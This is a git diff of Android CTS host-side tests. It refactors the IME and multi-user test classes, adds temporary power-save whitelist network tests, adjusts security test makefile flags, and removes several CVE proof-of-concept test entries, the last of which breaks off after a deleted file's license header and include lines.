diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 02c3e55..b094812 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -17,12 +17,16 @@
package android.inputmethodservice.cts.hostside;
import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
-import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
-import static org.junit.Assert.assertEquals;
+import static org.hamcrest.Matchers.emptyOrNullString;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.not;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertThat;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
@@ -33,8 +37,8 @@
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.common.test.TestInfo;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Before;
@@ -42,7 +46,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class InputMethodServiceLifecycleTest extends CompatibilityHostTestBase {
+public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
private String mDefaultImeId;
@@ -59,7 +63,6 @@
@After
public void tearDown() throws Exception {
shell(ShellCommandUtils.setCurrentIme(mDefaultImeId));
- cleanUpTestImes();
}
@Test
@@ -85,7 +88,11 @@
sendTestStartEvent(testIme1IsNotCurrentIme);
uninstallPackageIfExists(Ime1Constants.PACKAGE);
assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
- assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+
+ // There should be a new IME that is different from the IME1
+ final String newIme = shell(ShellCommandUtils.getCurrentIme());
+ assertThat(newIme, is(not(emptyOrNullString())));
+ assertNotEquals(newIme, Ime1Constants.IME_ID);
}
@Test
@@ -97,7 +104,11 @@
sendTestStartEvent(testIme1IsNotCurrentIme);
shell(ShellCommandUtils.disableIme(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
- assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+
+ // There should be a new IME that is different from the IME1
+ final String newIme = shell(ShellCommandUtils.getCurrentIme());
+ assertThat(newIme, is(not(emptyOrNullString())));
+ assertNotEquals(newIme, Ime1Constants.IME_ID);
}
@Test
@@ -166,8 +177,8 @@
}
private void uninstallPackageIfExists(final String packageName) throws Exception {
- if (isPackageInstalled(packageName)) {
- uninstallPackage(packageName);
+ if (isPackageInstalled(getDevice(), packageName)) {
+ uninstallPackage(getDevice(), packageName);
}
}
}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
index 3c1f14e..e7be900 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
@@ -140,6 +140,8 @@
instrTest.addIncludeFilter(fullTestName);
instrTest.setTestTimeout(testTimeout);
instrTest.setShellTimeout(shellTimeout);
+ // disable rerun mode to avoid collecting tests first then running.
+ instrTest.setRerunMode(false);
for (Entry<String, String> e : getArgs().entrySet()) {
instrTest.addInstrumentationArg(e.getKey(), e.getValue());
}
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index 9827ca7..e4c654d 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -22,7 +22,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed platform-test-annotations-host
LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 5d4b89e..5a3a04f 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -16,8 +16,9 @@
package android.host.multiuser;
+import android.platform.test.annotations.Presubmit;
+
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
import java.util.LinkedHashSet;
import java.util.Scanner;
@@ -25,11 +26,12 @@
/**
* Test verifies that users can be created/switched to without error dialogs shown to the user
+ * Run: atest CreateUsersNoAppCrashesTest
*/
public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
private int mInitialUserId;
private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
- private static final long BOOT_COMPLETED_TIMEOUT_MS = 120000;
+ private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 120000;
@Override
protected void setUp() throws Exception {
@@ -37,6 +39,7 @@
mInitialUserId = getDevice().getCurrentUser();
}
+ @Presubmit
public void testCanCreateGuestUser() throws Exception {
if (!mSupportsMultiUser) {
return;
@@ -45,31 +48,68 @@
"TestUser_" + System.currentTimeMillis() /* name */,
true /* guest */,
false /* ephemeral */);
- getDevice().executeAdbCommand("logcat", "-c"); // Reset log
- assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(userId));
- Set<String> appErrors = new LinkedHashSet<>();
- assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors=" + appErrors,
- waitForBootCompleted(appErrors, userId));
- assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
- assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(mInitialUserId));
+ assertSwitchToNewUser(userId);
+ assertSwitchToUser(userId, mInitialUserId);
}
- private boolean waitForBootCompleted(Set<String> appErrors, int targetUserId)
- throws DeviceNotAvailableException, InterruptedException {
+ @Presubmit
+ public void testCanCreateSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ int userId = getDevice().createUser(
+ "TestUser_" + System.currentTimeMillis() /* name */,
+ false /* guest */,
+ false /* ephemeral */);
+ assertSwitchToNewUser(userId);
+ assertSwitchToUser(userId, mInitialUserId);
+ }
+
+ private void assertSwitchToNewUser(int toUserId) throws Exception {
+ final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
+ final Set<String> appErrors = new LinkedHashSet<>();
+ getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+ assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+ final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+ assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
+ + appErrors, result);
+ assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+ }
+
+ private void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
+ final String exitString = "Continue user switch oldUser #" + fromUserId + ", newUser #"
+ + toUserId;
+ final Set<String> appErrors = new LinkedHashSet<>();
+ getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+ assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+ final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+ assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+ assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+ }
+
+ private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
+ String exitString) throws DeviceNotAvailableException, InterruptedException {
+ boolean mExitFound = false;
long ti = System.currentTimeMillis();
- while (System.currentTimeMillis() - ti < BOOT_COMPLETED_TIMEOUT_MS) {
- String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d");
+ while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+ String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d",
+ "ActivityManager:D", "AndroidRuntime:E", "*:S");
Scanner in = new Scanner(logs);
while (in.hasNextLine()) {
String line = in.nextLine();
if (line.contains("Showing crash dialog for package")) {
appErrors.add(line);
- } else if (line.contains("Finished processing BOOT_COMPLETED for u" + targetUserId)) {
- return true;
+ } else if (line.contains(exitString)) {
+ // Parse all logs in case crashes occur as a result of onUserChange callbacks
+ mExitFound = true;
+ } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
+ throw new IllegalStateException("System process crashed - " + line);
}
-
}
in.close();
+ if (mExitFound) {
+ return true;
+ }
Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
}
return false;
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 9a43534..d0c96ec 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -56,8 +56,8 @@
}
final String setRestriction = "pm set-user-restriction no_fun ";
final String output = getDevice().executeShellCommand(setRestriction + "1");
- final boolean isErrorOutput = output.startsWith("Error")
- && output.contains("SecurityException");
+ final boolean isErrorOutput = output.contains("SecurityException")
+ && output.contains("You need MANAGE_USERS permission");
assertTrue("Trying to set user restriction should fail with SecurityException. "
+ "command output: " + output, isErrorOutput);
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index d2c0873..133a43b 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -127,6 +127,19 @@
assertBackgroundNetworkAccess(false);
}
+ public void testBackgroundNetworkAccess_tempWhitelisted() throws Exception {
+ if (!isSupported()) return;
+
+ setAppIdle(true);
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ }
+
public void testBackgroundNetworkAccess_disabled() throws Exception {
if (!isSupported()) return;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 1c46396..677e886 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -107,6 +107,8 @@
private static final String APP_NOT_FOREGROUND_ERROR = "app_not_fg";
+ protected static final long TEMP_POWERSAVE_WHITELIST_DURATION_MS = 5_000; // 5 sec
+
protected Context mContext;
protected Instrumentation mInstrumentation;
protected ConnectivityManager mCm;
@@ -137,6 +139,7 @@
enableLocation();
}
mSupported = setUpActiveNetworkMeteringState();
+ setAppIdle(false);
Log.i(TAG, "Apps status on " + getName() + ":\n"
+ "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
@@ -744,6 +747,12 @@
+ ". Full list: " + uids);
}
+ protected void addTempPowerSaveModeWhitelist(String packageName, long duration)
+ throws Exception {
+ Log.i(TAG, "Adding pkg " + packageName + " to temp-power-save-mode whitelist");
+ executeShellCommand("dumpsys deviceidle tempwhitelist -d " + duration + " " + packageName);
+ }
+
protected void assertPowerSaveModeWhitelist(String packageName, boolean expected)
throws Exception {
// TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index 5248255..76332be 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -15,6 +15,7 @@
*/
package com.android.cts.net.hostside;
+import android.os.SystemClock;
import android.util.Log;
/**
@@ -271,4 +272,55 @@
setDozeMode(false);
}
}
+
+ public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+ if (!isDozeModeEnabled()) {
+ Log.i(TAG, "Skipping " + getClass() + "." + getName()
+ + "() because device does not support Doze Mode");
+ return;
+ }
+
+ setDozeMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setDozeMode(false);
+ }
+ }
+
+ public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+
+ setBatterySaverMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setBatterySaverMode(false);
+ }
+ }
}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
index bf3fc08..fe9d36c 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
@@ -146,6 +146,11 @@
"testBackgroundNetworkAccess_whitelisted");
}
+ public void testAppIdleMetered_tempWhitelisted() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
+ "testBackgroundNetworkAccess_tempWhitelisted");
+ }
+
public void testAppIdleMetered_enabled() throws Exception {
runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
"testBackgroundNetworkAccess_enabled");
@@ -166,6 +171,11 @@
"testBackgroundNetworkAccess_whitelisted");
}
+ public void testAppIdleNonMetered_tempWhitelisted() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
+ "testBackgroundNetworkAccess_tempWhitelisted");
+ }
+
public void testAppIdleNonMetered_enabled() throws Exception {
runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
"testBackgroundNetworkAccess_enabled");
@@ -261,6 +271,16 @@
"testDozeAndAppIdle_powerSaveWhitelists");
}
+ public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testAppIdleAndDoze_tempPowerSaveWhitelists");
+ }
+
+ public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testAppIdleAndBatterySaver_tempPowerSaveWhitelists");
+ }
+
/*******************
* Helper methods. *
*******************/
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
index f32c523..0fbf3b9 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
@@ -16,14 +16,14 @@
package android.sample.cts;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Test that collects test results from test package android.sample.cts.app2.
@@ -33,7 +33,7 @@
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class SampleHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+public class SampleHostJUnit4DeviceTest extends BaseHostJUnit4Test {
private static final String TEST_PKG = "android.sample.cts.app2";
private static final String TEST_CLASS = TEST_PKG + "." + "SampleDeviceTest";
@@ -65,7 +65,7 @@
@After
public void tearDown() throws Exception {
- uninstallPackage(TEST_PKG);
+ uninstallPackage(getDevice(), TEST_PKG);
}
}
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index d4cf524..052e976 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -17,15 +17,8 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
- <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
- <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
- <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
- <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
<option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
- <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
<option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
<option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
<option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
<option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
@@ -43,8 +36,6 @@
<option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
- <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
<option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
<option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
<option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
@@ -59,14 +50,11 @@
<option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
<option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
<option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+
<!--__________________-->
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
- <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
- <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
-
<!--__________________-->
<!-- Bulletin 2017-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
index d2a91be..44182bf 100644
--- a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
@@ -26,10 +26,9 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
index 4c27a41..6d7fb55 100644
--- a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
@@ -26,10 +26,10 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
index 2d3d8eb..7e10720 100644
--- a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
@@ -26,10 +26,9 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
index b34f64e..875c8c8 100644
--- a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
@@ -26,10 +26,10 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
index 00f77fd..c621936 100644
--- a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
@@ -26,10 +26,8 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
index 1a36be9..c7c958d 100644
--- a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
@@ -26,10 +26,8 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
deleted file mode 100644
index e2a1c73..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
